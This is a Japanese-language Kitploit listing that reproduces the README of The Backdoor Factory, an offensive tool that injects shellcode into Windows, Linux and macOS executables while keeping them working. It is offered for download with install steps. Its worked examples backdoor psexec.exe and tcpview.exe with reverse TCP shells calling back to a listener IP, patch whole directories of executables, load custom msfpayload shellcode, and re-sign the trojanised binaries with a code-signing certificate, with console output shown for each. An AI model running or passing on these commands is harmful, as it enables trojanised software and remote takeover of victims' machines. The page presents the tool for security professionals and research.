Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
the-backdoor-factory — シェルコードを使用してPE、ELF、Mach-Oバイナリにパッチを適用。新バージョンは開発中で、スポンサーのみ利用可能です。 | Kitploit
ツール/GitHubGitHub/secretsquirrel/the-backdoor-factory
エクスプロイトリバースエンジニアリングシェルコードポストエクスプロイトマルウェア分析ペネトレーションテストレッドチーミングペイロード開発バイナリエクスプロイト
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

シェルコードを使用してPE、ELF、Mach-Oバイナリにパッチを適用。新バージョンは開発中で、スポンサーのみ利用可能です。

3.4k774352年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
リポジトリを見るウェブサイト
共有

The new version of BACKDOOR FACTORY is available! Get access here: https://github.com/sponsors/secretsquirrel

WARNING: Pull Requests WILL BE IGNORED AND CLOSED.

The Backdoor Factory (BDF)

セキュリティ専門家と研究者のみを対象としています。

BDFの目的は、実行可能バイナリにユーザーが望むシェルコードをパッチとして埋め込み、パッチ適用前の状態の通常の実行を継続させることです。

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

開発者への連絡先:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

BSD 3 Clause License に基づいています

wiki を参照: https://github.com/secretsquirrel/the-backdoor-factory/wiki


インストール

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###OLD SCHOOL

####依存関係 #####OnionDuke を使用するには、Intel マシン上でなければなりません。aPLib はまだ ARM チップセットをサポートしていないためです。

Capstone engine は PyPi からインストールできます:

sudo pip install capstone

Pefile(最新版):

https://code.google.com/p/pefile/

osslsigncode(リポジトリに同梱):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Kali インストール:

  apt-get update
  apt-get install backdoor-factory

その他の *NIX/MAC インストール:

./install.sh

これにより Capstone 3.01 と、pefile をインストールするための pip がインストールされます。

アップデート:

./update.sh

対応フォーマット:

Windows PE x86/x64、ELF x86/x64 (System V、FreeBSD、ARM Little Endian x32)、
および Mach-O x86/x64 と、FAT ファイル内のこれらのフォーマット

パックされたファイル: PE UPX x86/x64

実験的サポート: OpenBSD x32 

一部の実行可能ファイルには組み込みの保護機能があるため、すべてのバイナリで動作するわけではありません。ターゲットバイナリをクライアントに配布する前や演習で使用する前に、テストすることをお勧めします。NSIS のバイパスにも取り組んでおり、これらのチェックのバイパスは今後含まれる予定です。

Ryan O'Neill --ryan 'at' codeslum <d ot> org-- に多大な感謝を捧げます。
彼がいなければ、私は今でも ELF フォーマットで
愚かなことをしようとしていたでしょう。
また、これらの ELF パッチ技術の基礎となった
Silvio Cesare の 1998 年の論文 (http://vxheaven.org/lib/vsc01.html) にも感謝します。

最近、多くのバイナリでテスト済みです。

./backdoor.py -h Usage: backdoor.py [options]


##機能:

###PE ファイル

EXE/DLL 内のすべてのコードケーブを見つけることができます。
デフォルトで、PE 証明書テーブルへのポインタをクリアし、バイナリの署名を無効化します。
コードケーブまたは新しいセクションにシェルコードを注入できます。
PE バイナリが昇格された特権で実行される必要があるかどうかを検出できます。
コードケーブを選択する際、以下のコマンドを使用できます:
  -Jump (j)、コードケーブジャンプ用
  -Single (s)、すべてのシェルコードを1つのケーブにパッチする用
  -Append (a)、コードケーブを作成する用
  -Ignore (iまたはq)、やめて、このバイナリを無視する
DLL を無視できます
インポートテーブルパッチ
自動パッチ (-m automtic)
Onionduke (-m onionduke)

###ELF ファイル

TEXT SEGMENT を1000バイト拡張し、そのコードセクションにシェルコードを注入します。

###Mach-O ファイル Pre-Text セクションパッチと署名除去

###全体

ユーザーは以下のことが可能です:
  -カスタムシェルコードを提供する。
  -実行可能ファイル/DLL のディレクトリにパッチを適用する。
  -x32 または x64 バイナリのみを選択してパッチする。
  -BDF を他の Python プロジェクトに含める(pebin.py と elfbin.py を参照)

サンプル使用法:

###既存のコードケーブを使用して exe/dll をパッチする:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###コードセクションを追加して exe/dll をパッチする:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###exe のディレクトリをパッチする: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...


###ユーザー指定のシェルコード: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin これにより、ターゲットの Windows ワークステーションで calc.exe が起動します。とても 1337 です。非常に pwn。すごい。


###PEコードサイニング

コードサイニング証明書があれば、BDF は PE ファイルに署名できます。osslsigncode を使用します。 署名証明書と秘密鍵を certs/ ディレクトリに置きます。このブログ記事の openssl コマンドを使用して証明書を準備します: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

秘密鍵のパスワードをファイルに(驚きですが)以下のように(正確にこのように)入れます:

echo -n yourpassword > certs/passFile.txt

証明書の名前を以下のように正確に付けます:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

certs/ ディレクトリは以下のように正確に構成されている必要があります:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

-C フラグで PE コードサイニングを有効にします:

 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

正常に実行されると、BDF の出力に次の行が表示されます:

[*] Code Signing Succeeded
ツールをダウンロード